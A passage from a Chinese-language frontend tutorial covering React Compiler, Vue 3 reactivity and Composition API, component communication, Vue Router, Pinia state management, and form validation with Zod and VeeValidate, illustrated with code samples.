const handleClick = useCallback(() => doSomething(a, b), [a, b])
const result = useMemo(() => expensiveCompute(data), [data])

// ✅ React Compiler 后:正常写,编译器自动优化
function Parent({ data }) {
  const result = expensiveCompute(data)          // 自动缓存
  const handleClick = () => doSomething(data)    // 自动稳定引用
  return <Child onClick={handleClick} value={result} />  // 自动跳过重渲染
}

// 配置方式(Next.js / Vite)
// Next.js 15+:next.config.js 中 experimental.reactCompiler = true
// Vite:安装 babel-plugin-react-compiler

// 限制条件:
// 1)必须遵守 React 规则(不在条件/循环中调用 Hook)
// 2)不能有副作用在渲染期间
// 3)组件必须是纯函数(相同输入 → 相同输出)
React Compiler 的意义

React Compiler 的目标是让开发者不再需要手动优化。你只需要写出正确的组件代码,编译器自动处理 memo、useMemo、useCallback。这意味着 useMemo 和 useCallback 将逐步成为"编译器提示"而非手动工具——未来的 React 代码会更简洁。

第三部分 · Vue 生态

20. Vue 快速上手

Vue 是一个渐进式 JavaScript 框架——你可以只用它的核心(模板渲染),也可以用它的全家桶(路由、状态管理、构建工具)。它的语法最直观,学习曲线最平缓。

一个类比

Vue 就像一个"贴心管家"。你只需要告诉它"数据是什么"(data),它会自动帮你把数据渲染到页面上、在数据变化时自动更新页面。你不需要手动操作 DOM——管家帮你处理一切。

模板语法

<template>
  <!-- 文本插值 -->
  <h1>{{ message }}</h1>

  <!-- 表达式 -->
  <p>{{ count + 1 }}</p>
  <p>{{ ok ? '是' : '否' }}</p>
  <p>{{ name.split('').reverse().join('') }}</p>

  <!-- 属性绑定 -->
  <img :src="imageUrl" :alt="description" />
  <button :disabled="isDisabled">按钮</button>

  <!-- 条件渲染 -->
  <p v-if="isLoggedIn">欢迎回来!</p>
  <p v-else-if="isLoading">加载中...</p>
  <p v-else>请登录</p>

  <!-- 列表渲染 -->
  <ul>
    <li v-for="(item, index) in items" :key="item.id">
      {{ index + 1 }}. {{ item.name }}
    </li>
  </ul>

  <!-- 事件处理 -->
  <button @click="handleClick">点击</button>
  <input @input="handleInput" />
  <form @submit.prevent="handleSubmit">  <!-- .prevent = e.preventDefault() -->
    <button type="submit">提交</button>
  </form>

  <!-- 双向绑定 -->
  <input v-model="name" />
  <select v-model="city">
    <option value="beijing">北京</option>
    <option value="shanghai">上海</option>
  </select>
</template>

<script setup>
import { ref } from 'vue'

const message = ref('Hello Vue!')
const count = ref(0)
const name = ref('')
const items = ref([{ id: 1, name: '苹果' }, { id: 2, name: '香蕉' }])

const handleClick = () => {
  count.value++
}
</script>
Vue 3 的 <script setup>

2026 年 Vue 3 统一使用 <script setup> 语法——变量和函数直接在 setup 中声明,自动暴露给模板,不需要 return。比 Options API(data/methods/computed)简洁得多。

响应式基础

import { ref, reactive, computed, watch } from 'vue'

// ref:基本类型的响应式引用
const count = ref(0)
console.log(count.value)  // 读取值需要 .value
count.value++              // 修改值也需要 .value

// reactive:对象的响应式代理
const user = reactive({ name: '张三', age: 25 })
console.log(user.name)    // 直接访问,不需要 .value
user.age++                 // 直接修改

// computed:计算属性(自动缓存)
const fullName = computed(() => firstName.value + ' ' + lastName.value)
const isAdult = computed(() => user.age >= 18)

// watch:监听变化
watch(count, (newVal, oldVal) => {
  console.log(`count 从 ${oldVal} 变为 ${newVal}`)
})

// watchEffect:自动追踪依赖
watchEffect(() => {
  console.log(`count 是 ${count.value}`)  // count 变化时自动执行
})

响应式原理:Proxy vs Object.defineProperty

// Vue 2 使用 Object.defineProperty(只能劫持已有属性)
// 缺点:无法检测新增/删除属性,需要 Vue.set()
Object.defineProperty(obj, 'key', {
  get() { /* 收集依赖 */ },
  set(newVal) { /* 触发更新 */ }
})

// Vue 3 使用 Proxy(拦截整个对象的所有操作)
const state = new Proxy(target, {
  get(target, key) { track(target, key); return target[key] },
  set(target, key, value) {
    target[key] = value
    trigger(target, key)  // 触发更新
    return true
  },
  deleteProperty(target, key) {
    delete target[key]
    trigger(target, key)  // 也能检测删除
    return true
  }
})
// 优势:能检测新增属性、删除属性、数组索引变化
ref 的自动解包

在模板中 ref 会自动解包——直接写 {{ count }} 而非 {{ count.value }}。但在 <script> 中必须用 .value。这是编译器帮你做的语法糖,运行时 ref 本质上是一个 { value: ... } 包装对象。

toRef / toRefs 解构保持响应性

import { reactive, toRef, toRefs } from 'vue'

const state = reactive({ name: '张三', age: 25 })

// 直接解构会丢失响应性!
const { name, age } = state  // ❌ name 和 age 变成普通字符串/数字

// toRef:为单个属性创建 ref 别名
const nameRef = toRef(state, 'name')  // ✅ 修改 nameRef.value 会同步修改 state.name

// toRefs:批量转换
const { name: n, age: a } = toRefs(state)  // ✅ n 和 a 都是 ref
n.value = '李四'  // 同时更新 state.name

// 典型场景:组合函数返回 reactive 对象时
function useMouse() {
  const pos = reactive({ x: 0, y: 0 })
  // ... 监听 mousemove 更新 pos
  return toRefs(pos)  // 解构时保持响应性
}
const { x, y } = useMouse()  // ✅ x 和 y 都是响应式 ref

nextTick 等待 DOM 更新

import { ref, nextTick } from 'vue'

const message = ref('旧内容')
const el = ref(null)

async function updateMessage() {
  message.value = '新内容'
  // 此时 DOM 还没更新!
  console.log(el.value.textContent)  // "旧内容"

  await nextTick()
  // DOM 已经更新
  console.log(el.value.textContent)  // "新内容"
}

// 常见场景:修改数据后需要操作 DOM
async function scrollToBottom() {
  items.value.push(newItem)
  await nextTick()
  container.value.scrollTop = container.value.scrollHeight
}
Vue 3 的批量更新

Vue 会在当前微任务队列结束后才批量更新 DOM(而不是每次数据变化都更新)。所以同一个事件处理函数中的多次 .value 修改只会触发一次 DOM 更新。nextTick() 返回一个 Promise,等这个批量更新完成后 resolve。

21. Composition API

Composition API 是 Vue 3 的核心特性——把相关的逻辑组织在一起,而不是分散在 data/methods/computed 中。

生命周期钩子

import { onMounted, onUpdated, onUnmounted } from 'vue'

// 组件挂载到 DOM 后
onMounted(() => {
  console.log('组件已挂载')
  fetchUsers()
})

// 数据更新后
onUpdated(() => {
  console.log('组件已更新')
})

// 组件卸载前(清理工作)
onUnmounted(() => {
  console.log('组件即将卸载')
  clearInterval(timer)
})

组合式函数(Composables)

// composables/useFetch.js
import { ref, watchEffect } from 'vue'

export function useFetch(url) {
  const data = ref(null)
  const error = ref(null)
  const loading = ref(true)

  const fetchData = async () => {
    loading.value = true
    try {
      const res = await fetch(url.value || url)
      data.value = await res.json()
    } catch (err) {
      error.value = err
    } finally {
      loading.value = false
    }
  }

  // 如果 url 是 ref,自动监听变化
  if (typeof url !== 'string') {
    watchEffect(fetchData)
  } else {
    fetchData()
  }

  return { data, error, loading, refetch: fetchData }
}

// 使用
const { data: users, loading } = useFetch('/api/users')
const userId = ref(1)
const { data: user } = useFetch(computed(() => `/api/users/${userId.value}`))
Composables vs React Hooks

Vue 的 Composables 和 React 的 Hooks 思想类似——都是把可复用的逻辑抽离出来。但 Vue 的响应式系统是基于 Proxy 的,不需要像 React 那样关心依赖数组。Composables 中用到的 ref/reactive 变量会自动追踪依赖。

provide/inject 类型安全(InjectionKey)

import { provide, inject } from 'vue'
import type { InjectionKey, Ref } from 'vue'

// 定义类型安全的 key
export const ThemeKey: InjectionKey<Ref<string>> = Symbol('theme')
export const ToggleKey: InjectionKey<() => void> = Symbol('toggle')

// 提供(祖先组件)
const theme = ref('light')
provide(ThemeKey, theme)
provide(ToggleKey, () => { theme.value = theme.value === 'light' ? 'dark' : 'light' })

// 注入(后代组件)—— 自动获得正确类型
const theme = inject(ThemeKey)          // Ref<string> | undefined
const toggle = inject(ToggleKey)        // (() => void) | undefined

// 带默认值,类型不再为 undefined
const theme = inject(ThemeKey, ref('light'))

defineExpose(暴露方法给父组件)

<!-- 子组件 MyInput.vue -->
<script setup>
import { ref } from 'vue'

const inputRef = ref<HTMLInputElement>()

function focus() { inputRef.value?.focus() }
function clear() { inputRef.value!.value = '' }

// 只有 expose 的成员才能被父组件通过 ref 访问
defineExpose({ focus, clear })
</script>

<!-- 父组件 -->
<template>
  <MyInput ref="myInput" />
  <button @click="myInput.focus()">聚焦</button>
</template>

<script setup>
const myInput = ref()
onMounted(() => myInput.value.focus())
</script>

useSlots / useAttrs

<script setup>
import { useSlots, useAttrs, computed } from 'vue'

const slots = useSlots()
const attrs = useAttrs()

// 判断是否有某个插槽内容
const hasHeader = computed(() => !!slots.header)

// 读取透传属性(class、style、非 prop 的 attribute)
console.log(attrs.class)
console.log(attrs.onClick)
</script>

<template>
  <div>
    <header v-if="hasHeader"><slot name="header" /></header>
    <slot />
  </div>
</template>

异步组件与 Suspense

import { defineAsyncComponent } from 'vue'

// 异步加载大型组件
const HeavyChart = defineAsyncComponent(() => import('./HeavyChart.vue'))

// 带 loading/error 状态
const AdminPanel = defineAsyncComponent({
  loader: () => import('./AdminPanel.vue'),
  loadingComponent: LoadingSpinner,
  errorComponent: ErrorDisplay,
  delay: 200,
  timeout: 10000
})

// 配合 Suspense 使用(子组件 setup 可以是 async)
<Suspense>
  <template #default>
    <AsyncUserProfile />  <!-- setup 中有 await -->
  </template>
  <template #fallback>
    <div>加载中...</div>
  </template>
</Suspense>
Suspense 仍是实验性功能

Suspense 在 Vue 3.x 中仍为实验性 API,其行为可能在后续版本变化。生产环境中建议使用 v-if + loading 状态来处理异步加载,或配合 defineAsyncComponent 的 loadingComponent 选项。

22. 组件通信与插槽

Props 与 Emit

<!-- 子组件 Child.vue -->
<template>
  <div>
    <p>{{ title }}</p>
    <button @click="$emit('update', newValue)">更新</button>
  </div>
</template>

<script setup>
// 定义 props
const props = defineProps({
  title: { type: String, required: true },
  count: { type: Number, default: 0 }
})

// 定义事件
const emit = defineEmits(['update', 'delete'])
</script>

<!-- 父组件 -->
<Child title="你好" :count="5" @update="handleUpdate" />

Provide / Inject(跨层级通信)

// 祖先组件提供数据
import { provide, ref } from 'vue'

const theme = ref('light')
provide('theme', theme)
provide('toggleTheme', () => {
  theme.value = theme.value === 'light' ? 'dark' : 'light'
})

// 后代组件注入
import { inject } from 'vue'

const theme = inject('theme')
const toggleTheme = inject('toggleTheme')

插槽(Slots)

<!-- Card 组件 -->
<template>
  <div class="card">
    <div class="card-header">
      <slot name="header">默认标题</slot>
    </div>
    <div class="card-body">
      <slot>默认内容</slot>  <!-- 默认插槽 -->
    </div>
    <div class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<!-- 使用插槽 -->
<Card>
  <template #header>
    <h2>用户信息</h2>
  </template>

  <p>这里是卡片内容</p>

  <template #footer>
    <button>保存</button>
  </template>
</Card>

modelValue / v-model 自定义组件

<!-- 子组件 MyInput.vue -->
<template>
  <input
    :value="modelValue"
    @input="$emit('update:modelValue', $event.target.value)"
  />
</template>

<script setup>
defineProps<{ modelValue: string }>()
defineEmits<{ 'update:modelValue': [value: string] }>()
</script>

<!-- 父组件使用 -->
<MyInput v-model="username" />

<!-- 多个 v-model -->
<UserForm v-model:first="first" v-model:last="last" />

defineModel() 宏(Vue 3.4+)

<script setup>
// 自动声明 modelValue prop + update:modelValue 事件
const model = defineModel<string>()

// 带修饰符的 model
const [title, titleModifiers] = defineModel('title', {
  set: (v) => titleModifiers.trim ? v.trim() : v
})

// 带默认值
const count = defineModel('count', { default: 0 })

function increment() {
  model.value = '新值'  // 直接赋值,自动触发更新
}
</script>

<!-- 父组件 -->
<MyComp v-model="text" v-model:title="name" />

InjectionKey 类型安全注入

// keys.ts
import type { InjectionKey, Ref } from 'vue'

export const UserKey: InjectionKey<Ref<{ name: string; role: string }>> = Symbol('user')
export const AuthKey: InjectionKey<{ login: () => Promise<void>; logout: () => void }> = Symbol('auth')

// 提供方
const user = ref({ name: '张三', role: 'admin' })
provide(UserKey, user)
provide(AuthKey, { login, logout })

// 注入方 —— 类型自动推断,无需 as 断言
const user = inject(UserKey)       // Ref<{ name: string; role: string }> | undefined
const auth = inject(AuthKey)       // { login; logout } | undefined
if (!user || !auth) throw new Error('缺少依赖')

$attrs 与 inheritAttrs

<!-- 默认行为:未声明的 props 自动透传到根元素 -->
<!-- 如 class、id、data-* 等 -->
<template>
  <button>点击</button>  <!-- class, disabled 等自动透传到这里 -->
</template>

<!-- 关闭自动透传,手动控制 -->
<script setup>
defineOptions({ inheritAttrs: false })
const attrs = useAttrs()
</script>

<template>
  <div class="wrapper">
    <label>输入框</label>
    <input v-bind="attrs" />  <!-- 手动绑定到指定元素 -->
  </div>
</template>
多根元素时的行为

Vue 3 中如果组件有多个根元素,透传不会自动应用到任何一个上——必须手动 v-bind="$attrs" 到你想要的元素,否则控制台会报警告。这也是 inheritAttrs: false 最常见的使用场景。

23. 路由 Vue Router

// 安装:pnpm add vue-router
// router/index.js
import { createRouter, createWebHistory } from 'vue-router'

const routes = [
  { path: '/', component: () => import('../views/Home.vue') },
  { path: '/about', component: () => import('../views/About.vue') },
  {
    path: '/users',
    component: () => import('../views/Users.vue'),
    children: [
      { path: '', component: () => import('../views/UserList.vue') },
      { path: ':id', component: () => import('../views/UserDetail.vue') }
    ]
  },
  { path: '/:pathMatch(.*)*', component: () => import('../views/NotFound.vue') }
]

const router = createRouter({
  history: createWebHistory(),
  routes
})

// 导航守卫
router.beforeEach((to, from) => {
  const isLoggedIn = !!localStorage.getItem('token')
  if (to.path.startsWith('/admin') && !isLoggedIn) {
    return '/login'
  }
})

export default router

// main.js
import router from './router'
app.use(router)

// 组件中使用
<template>
  <router-link to="/">首页</router-link>
  <router-view />  <!-- 路由出口 -->
</template>

<script setup>
import { useRouter, useRoute } from 'vue-router'

const router = useRouter()
const route = useRoute()

// 获取路由参数
console.log(route.params.id)

// 编程式导航
router.push('/users/1')
router.push({ path: '/users', query: { page: 2 } })
router.back()
</script>

命名路由与命名视图

// 命名路由:给路由起个名字,跳转时用名字代替 path
const routes = [
  {
    path: '/users/:id',
    name: 'user-detail',       // 路由名称
    component: () => import('../views/UserDetail.vue')
  }
]

// 用名字跳转(不怕 path 改了链接失效)
router.push({ name: 'user-detail', params: { id: 42 } })

// 命名视图:同一个页面放多个 router-view
// 适用场景:侧边栏 + 主内容区 + 顶栏,各自独立渲染
const routes = [
  {
    path: '/dashboard',
    components: {             // 注意:是 components(复数)
      default: () => import('../views/DashboardMain.vue'),
      sidebar: () => import('../views/DashboardSidebar.vue'),
      header:  () => import('../views/DashboardHeader.vue')
    }
  }
]

// App.vue 中
<template>
  <router-view name="header" />
  <div class="layout">
    <router-view name="sidebar" />
    <router-view />  <!-- default -->
  </div>
</template>

路由 meta 字段(面包屑、权限控制)

// meta 是路由配置中的自定义属性,用于存储"元信息"
const routes = [
  {
    path: '/admin',
    component: () => import('../views/Admin.vue'),
    meta: {
      title: '管理后台',        // 页面标题 / 面包屑文字
      requiresAuth: true,       // 需要登录
      roles: ['admin']          // 允许的角色
    },
    children: [
      {
        path: 'users',
        component: () => import('../views/AdminUsers.vue'),
        meta: { title: '用户管理', requiresAuth: true, roles: ['admin'] }
      },
      {
        path: 'settings',
        component: () => import('../views/AdminSettings.vue'),
        meta: { title: '系统设置', requiresAuth: true, roles: ['admin'] }
      }
    ]
  }
]

// 在导航守卫中读取 meta,实现权限控制
router.beforeEach((to, from) => {
  const userStore = useUserStore()

  // 设置页面标题(面包屑 / document.title)
  document.title = to.meta.title ? `${to.meta.title} - 我的网站` : '我的网站'

  // 权限检查
  if (to.meta.requiresAuth && !userStore.isLoggedIn) {
    return { name: 'login', query: { redirect: to.fullPath } }
  }
  if (to.meta.roles && !to.meta.roles.includes(userStore.role)) {
    return '/403'
  }
})

// 面包屑组件:利用 matched 数组自动生成
<template>
  <nav class="breadcrumb">
    <span v-for="(item, index) in route.matched" :key="item.path">
      <router-link :to="item.path">{{ item.meta.title }}</router-link>
      <span v-if="index < route.matched.length - 1"> / </span>
    </span>
  </nav>
</template>

<script setup>
import { useRoute } from 'vue-router'
const route = useRoute()
</script>
meta 字段的最佳实践

1)title 用于 document.title 和面包屑,一个字段两个用途;2)requiresAuth 是最常见的守卫标记,几乎所有项目都会用到;3)roles 配合 RBAC(基于角色的访问控制)使用;4)meta 信息会沿着路由层级 route.matched 数组累积,方便面包屑自动生成。

路由滚动行为自定义

// 用户从长页面跳转后再返回,页面可能停在奇怪的位置
// scrollBehavior 控制路由切换时的滚动行为
const router = createRouter({
  history: createWebHistory(),
  routes,
  scrollBehavior(to, from, savedPosition) {
    // 如果用户点了浏览器"后退",恢复之前的滚动位置
    if (savedPosition) {
      return savedPosition
    }
    // 如果路由有 hash(如 /page#section2),滚动到对应锚点
    if (to.hash) {
      return { el: to.hash, behavior: 'smooth' }
    }
    // 默认滚动到顶部
    return { top: 0, behavior: 'smooth' }
  }
})

// 进阶:某些页面需要记住滚动位置(如商品列表页)
// 配合路由 meta 使用
scrollBehavior(to, from, savedPosition) {
  if (savedPosition) return savedPosition
  if (to.meta.keepScroll) return false  // 不自动滚动,保持当前位置
  return { top: 0 }
}

组件内导航守卫

// 除了全局守卫 router.beforeEach,还可以在组件内部定义守卫
// 适用场景:离开前确认、进入时加载数据、离开时清理定时器

<script setup>
import { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'

// 1. 路由参数变化时重新加载数据(同一组件,不同 id)
onBeforeRouteUpdate(async (to, from) => {
  // 例:从 /users/1 跳到 /users/2,组件不会销毁重建,需要手动刷新
  if (to.params.id !== from.params.id) {
    await fetchUser(to.params.id)
  }
})

// 2. 离开页面前确认(表单未保存时提醒用户)
onBeforeRouteLeave((to, from) => {
  if (hasUnsavedChanges.value) {
    const answer = window.confirm('表单未保存,确定离开吗?')
    if (!answer) return false  // 取消导航,留在当前页
  }
})
</script>

// 3. beforeRouteEnter(Options API 专属,setup 中没有)
// 因为执行时组件实例还没创建,所以不能用 this
export default {
  beforeRouteEnter(to, from, next) {
    // 可以在这里做异步校验
    next(vm => {
      // vm 是组件实例,此时才可用
      console.log(vm.someData)
    })
  }
}
三种守卫的选择

1)全局守卫(router.beforeEach):适合全局逻辑,如登录检查、权限校验;2)路由独享守卫(beforeEnter 写在路由配置中):适合单个路由的特殊逻辑;3)组件内守卫(onBeforeRouteLeave 等):适合和组件状态相关的逻辑,如未保存提醒、数据刷新。三者执行顺序:全局 beforeEach → 路由 beforeEnter → 组件 beforeRouteEnter → 全局 afterEach。

useRoute 响应式属性详解

<script setup>
import { useRoute, useRouter } from 'vue-router'
import { computed, watch } from 'vue'

const route = useRoute()    // 当前路由信息(只读,响应式)
const router = useRouter()  // 路由实例(可调用方法)

// ---- params:路径参数(/users/:id 中的 id)----
// 定义:path: '/users/:id'
// 访问:/users/42  →  route.params.id === '42'
console.log(route.params.id)

// ---- query:查询参数(?page=2&sort=name)----
// 定义:不需要在 path 中声明
// 访问:/users?page=2  →  route.query.page === '2'
console.log(route.query.page)
console.log(route.query.sort)

// 跳转时携带 query
router.push({ path: '/users', query: { page: 2, sort: 'name' } })

// ---- hash:锚点(#section2)----
// 访问:/about#team  →  route.hash === '#team'
console.log(route.hash)

// 跳转时携带 hash
router.push({ path: '/about', hash: '#team' })

// ---- 三者的区别 ----
// URL 格式:/users/42?page=2#profile
//              ^^^^^^^^  ^^^^^^^  ^^^^^^
//              params    query    hash
// params:路径的一部分,影响路由匹配
// query:  附加信息,不影响路由匹配,会出现在地址栏
// hash:   锚点定位,不影响路由匹配

// ---- 响应式监听 ----
// route 本身是响应式的,但解构会丢失响应性,用 computed 或 watch
const userId = computed(() => route.params.id)  // 响应式
watch(() => route.query.page, (newPage) => {
  console.log('页码变了:', newPage)
  fetchList(newPage)
})

// ❌ 错误:解构后不是响应式的
// const { params } = route  // params 变化时不会触发更新
</script>
params vs query 何时用哪个?

1)params(路径参数)用于"资源标识"——/users/:id、/posts/:slug,它是路径的一部分,决定了展示哪个页面;2)query(查询参数)用于"筛选/排序/分页"——?page=2&sort=name,它是可选的附加信息;3)hash用于页面内锚点定位。经验法则:如果去掉这个参数页面会变(显示不同内容),用 params;如果只是过滤/排列同一份数据,用 query。

24. 状态管理 Pinia

// 安装:pnpm add pinia
// stores/user.js
import { defineStore } from 'pinia'

export const useUserStore = defineStore('user', {
  state: () => ({
    user: null,
    token: localStorage.getItem('token') || ''
  }),

  getters: {
    isLoggedIn: (state) => !!state.token,
    userName: (state) => state.user?.name || '游客'
  },

  actions: {
    async login(credentials) {
      const { token, user } = await fetch('/api/login', {
        method: 'POST',
        body: JSON.stringify(credentials)
      }).then(r => r.json())

      this.token = token
      this.user = user
      localStorage.setItem('token', token)
    },

    logout() {
      this.token = ''
      this.user = null
      localStorage.removeItem('token')
    }
  }
})

// 组件中使用
<script setup>
import { useUserStore } from '@/stores/user'

const userStore = useUserStore()

// 直接访问 state
console.log(userStore.userName)

// 调用 action
await userStore.login({ username: 'admin', password: '123456' })
</script>
Pinia vs Vuex

Pinia 是 Vue 官方推荐的状态管理库(Vue 3 默认)。相比 Vuex:1)没有 mutations(直接修改 state);2)完整的 TypeScript 支持;3)支持多个 Store 实例;4)更简洁的 API。2026 年新项目统一用 Pinia。

Composition API 风格 Store(setup 函数)

// stores/user.js — 用 setup 函数定义 Store
import { defineStore } from 'pinia'
import { ref, computed } from 'vue'
import { fetchUserInfo, loginApi } from '@/api/user'

export const useUserStore = defineStore('user', () => {
  // state —— 就是普通的 ref
  const user = ref(null)
  const token = ref(localStorage.getItem('token') || '')

  // getters —— 就是普通的 computed
  const isLoggedIn = computed(() => !!token.value)
  const userName = computed(() => user.value?.name || '游客')

  // actions —— 就是普通的函数
  async function login(credentials) {
    const res = await loginApi(credentials)
    token.value = res.token
    user.value = res.user
    localStorage.setItem('token', res.token)
  }

  function logout() {
    token.value = ''
    user.value = null
    localStorage.removeItem('token')
  }

  async function loadUser() {
    if (token.value && !user.value) {
      user.value = await fetchUserInfo()
    }
  }

  // 必须返回所有需要暴露的 state、getters、actions
  return { user, token, isLoggedIn, userName, login, logout, loadUser }
})

// 组件中使用 —— 和 Options API 风格完全一样
<script setup>
import { useUserStore } from '@/stores/user'
const userStore = useUserStore()
</script>
何时用哪种风格?

setup 函数风格更灵活:可以使用任意 Vue 组合式函数(如 useStorage),代码组织更自由,TypeScript 推断更好。Options API 风格更结构化,适合习惯 Vuex 的团队。两种风格可以混用——同一个项目里有的 Store 用 Options、有的用 setup,完全没问题。

$patch 批量更新

const userStore = useUserStore()

// 错误:多次单独修改会触发多次响应式更新
userStore.name = '张三'
userStore.age = 25
userStore.email = 'zhangsan@example.com'
// 以上 3 行触发 3 次更新,性能浪费

// 正确:用 $patch 批量更新(只触发 1 次)
userStore.$patch({
  name: '张三',
  age: 25,
  email: 'zhangsan@example.com'
})

// $patch 也可以接收函数(适合复杂逻辑或数组操作)
userStore.$patch((state) => {
  state.name = '张三'
  state.items.push({ id: 99, text: '新项目' })
  state.items = state.items.filter(item => !item.done)
})

// 典型场景:从 API 返回数据后一次性更新 Store
async function loadProfile() {
  const data = await fetch('/api/profile').then(r => r.json())
  userStore.$patch(data)  // 一次性更新所有字段
}
$patch 的陷阱

当 $patch 接收函数时,不要对 state 中的嵌套对象做替换(如 state.nested = newObj),而应该修改其属性(如 state.nested.key = value)。替换嵌套对象会导致响应式丢失。

$subscribe 响应式订阅

import { useUserStore } from '@/stores/user'

const userStore = useUserStore()

// 监听 Store 的任何变化
const unsubscribe = userStore.$subscribe((mutation, state) => {
  // mutation.type: 'direct' | 'patch object' | 'patch function'
  // mutation.storeId: 'user'
  // state: 最新的完整 state

  console.log('Store 发生了变化:', mutation.type)
  console.log('最新 state:', state)

  // 典型用法:将 state 持久化到 localStorage
  localStorage.setItem('user', JSON.stringify(state))
})

// 取消订阅(组件卸载时调用)
unsubscribe()

// 在 Vue 组件中自动清理(setup 内调用即可,组件卸载时自动取消)
<script setup>
import { useUserStore } from '@/stores/user'
const userStore = useUserStore()

// 第二个参数 { detached: true } 可让订阅在组件卸载后仍保持活跃
userStore.$subscribe((mutation, state) => {
  localStorage.setItem('user', JSON.stringify(state))
}, { detached: true })
</script>
$subscribe vs watch

你也可以用 watch(() => userStore.someField, callback) 监听单个字段。区别在于:$subscribe 监听整个 Store 的所有变化(包括 $patch),适合做持久化或日志;watch 监听特定值,适合做业务逻辑。

Store 之间的调用(store-to-store)

// stores/cart.js
import { defineStore } from 'pinia'
import { useUserStore } from './user'

export const useCartStore = defineStore('cart', {
  state: () => ({
    items: []
  }),

  actions: {
    // 在 action 中直接调用其他 Store
    async checkout() {
      const userStore = useUserStore()  // 在函数内部调用,不要在顶层

      // 检查用户是否登录
      if (!userStore.isLoggedIn) {
        throw new Error('请先登录')
      }

      // 使用用户信息提交订单
      const order = await fetch('/api/orders', {
        method: 'POST',
        headers: { Authorization: `Bearer ${userStore.token}` },
        body: JSON.stringify({ items: this.items })
      }).then(r => r.json())

      // 清空购物车
      this.items = []
      return order
    },

    // 在 getter 中也可以调用其他 Store
    getters: {
      summary() {
        const userStore = useUserStore()
        return `${userStore.userName} 的购物车:${this.items.length} 件商品`
      }
    }
  }
})

// setup 风格中同样适用
export const useCartStore = defineStore('cart', () => {
  const items = ref([])

  async function checkout() {
    const userStore = useUserStore()
    if (!userStore.isLoggedIn) throw new Error('请先登录')
    // ... 提交逻辑
  }

  return { items, checkout }
})
循环依赖问题

如果 A Store 调用 B Store,B Store 又调用 A Store,就会形成循环依赖。解决办法:不要在 Store 顶层(setup 函数体或 state/getters 定义处)调用 useXxxStore(),而是在 action 的函数内部调用。Pinia 会延迟初始化,所以函数内部调用不会有问题。

持久化插件(pinia-plugin-persistedstate)

// 安装
pnpm add pinia-plugin-persistedstate

// main.js — 注册插件
import { createPinia } from 'pinia'
import piniaPluginPersistedstate from 'pinia-plugin-persistedstate'

const pinia = createPinia()
pinia.use(piniaPluginPersistedstate)
app.use(pinia)

// stores/user.js — 开启持久化
export const useUserStore = defineStore('user', {
  state: () => ({
    token: '',
    user: null,
    theme: 'light'
  }),

  // 只需加一个 persist 配置
  persist: true  // 默认持久化到 localStorage,key 为 store 的 id
})

// 更精细的配置
export const useUserStore = defineStore('user', {
  state: () => ({
    token: '',
    user: null,
    theme: 'light'
  }),

  persist: {
    storage: sessionStorage,       // 存到 sessionStorage(默认 localStorage)
    pick: ['token', 'theme'],      // 只持久化指定字段(不保存 user)
    serializer: {                  // 自定义序列化(加密等)
      serialize: JSON.stringify,
      deserialize: JSON.parse
    }
  }
})

// 组件中正常使用,刷新后数据自动恢复
<script setup>
import { useUserStore } from '@/stores/user'
const store = useUserStore()

store.token = 'abc123'  // 自动保存到 localStorage
// 刷新页面后 store.token 仍然是 'abc123'
</script>
持久化 vs 手动 localStorage

手动 localStorage.setItem 容易遗漏字段、忘记同步、在 SSR 中报错。persistedstate 插件自动处理这一切,还支持选择性持久化、自定义存储引擎、数据加密等。建议所有需要跨页面保留状态的 Store 都加上 persist: true。

25. 表单与校验

表单是前端最复杂的交互场景之一。Vue 中表单的核心是 v-model 双向绑定——输入框的值和 JS 变量自动同步。但真实项目中,你还需要校验、错误提示、异步提交、防重复点击等。

一个类比

表单就像一份合同。用户填写内容(输入框),你需要在提交前检查每一项是否合法(校验)。如果某项有问题,要明确告知哪里错了(错误提示)。提交后要防止用户重复签字(防重复提交)。

v-model 双向绑定

<template>
  <!-- 基本用法:输入框的值和 name 变量自动同步 -->
  <input v-model="name" />
  <p>你输入了:{{ name }}</p>

  <!-- 修饰符 -->
  <input v-model.trim="name" />       <!-- 去除首尾空格 -->
  <input v-model.number="age" type="number" />  <!-- 自动转为数字 -->
  <input v-model.lazy="name" />        <!-- change 事件时才同步(不是 input) -->

  <!-- 复选框 -->
  <input type="checkbox" v-model="agree" /> 我同意协议

  <!-- 单选框 -->
  <input type="radio" v-model="gender" value="male" /> 男
  <input type="radio" v-model="gender" value="female" /> 女

  <!-- 下拉选择 -->
  <select v-model="city">
    <option value="beijing">北京</option>
    <option value="shanghai">上海</option>
  </select>

  <!-- 多选 -->
  <select v-model="skills" multiple>
    <option value="html">HTML</option>
    <option value="css">CSS</option>
    <option value="js">JavaScript</option>
  </select>
</template>

<script setup>
import { ref } from 'vue'
const name = ref('')
const age = ref(18)
const agree = ref(false)
const gender = ref('male')
const city = ref('')
const skills = ref([])
</script>

用 Zod 做类型安全的校验

<template>
  <form @submit.prevent="handleSubmit">
    <div>
      <label>姓名</label>
      <input v-model="form.name" />
      <span v-if="errors.name" class="error">{{ errors.name }}</span>
    </div>
    <div>
      <label>邮箱</label>
      <input v-model="form.email" type="email" />
      <span v-if="errors.email" class="error">{{ errors.email }}</span>
    </div>
    <button :disabled="submitting">{{ submitting ? '提交中...' : '提交' }}</button>
  </form>
</template>

<script setup>
import { reactive, ref } from 'vue'
import { z } from 'zod'

// 定义校验规则(和 React 版本共享同一个 schema)
const schema = z.object({
  name: z.string().min(2, '姓名至少 2 个字符'),
  email: z.string().email('请输入有效的邮箱')
})

const form = reactive({ name: '', email: '' })
const errors = reactive({})
const submitting = ref(false)

const handleSubmit = async () => {
  // 清除旧错误
  Object.keys(errors).forEach(key => delete errors[key])

  // 校验
  const result = schema.safeParse(form)
  if (!result.success) {
    result.error.errors.forEach(err => {
      errors[err.path[0]] = err.message
    })
    return
  }

  submitting.value = true
  try {
    await fetch('/api/users', { method: 'POST', body: JSON.stringify(form) })
  } finally {
    submitting.value = false
  }
}
</script>

VeeValidate:Vue 生态最流行的表单库

// 安装:pnpm add vee-validate @vee-validate/zod
import { useForm, useField } from 'vee-validate'
import { toTypedSchema } from '@vee-validate/zod'
import { z } from 'zod'

// 将 Zod schema 转为 VeeValidate schema
const validationSchema = toTypedSchema(z.object({
  name: z.string().min(2, '姓名至少 2 个字符'),
  email: z.string().email('请输入有效的邮箱'),
  password: z.string().min(8, '密码至少 8 位'),
  confirmPassword: z.string()
}).refine(data => data.password === data.confirmPassword, {
  message: '两次密码不一致',
  path: ['confirmPassword']
}))

const { handleSubmit, errors, isSubmitting } = useForm({ validationSchema })

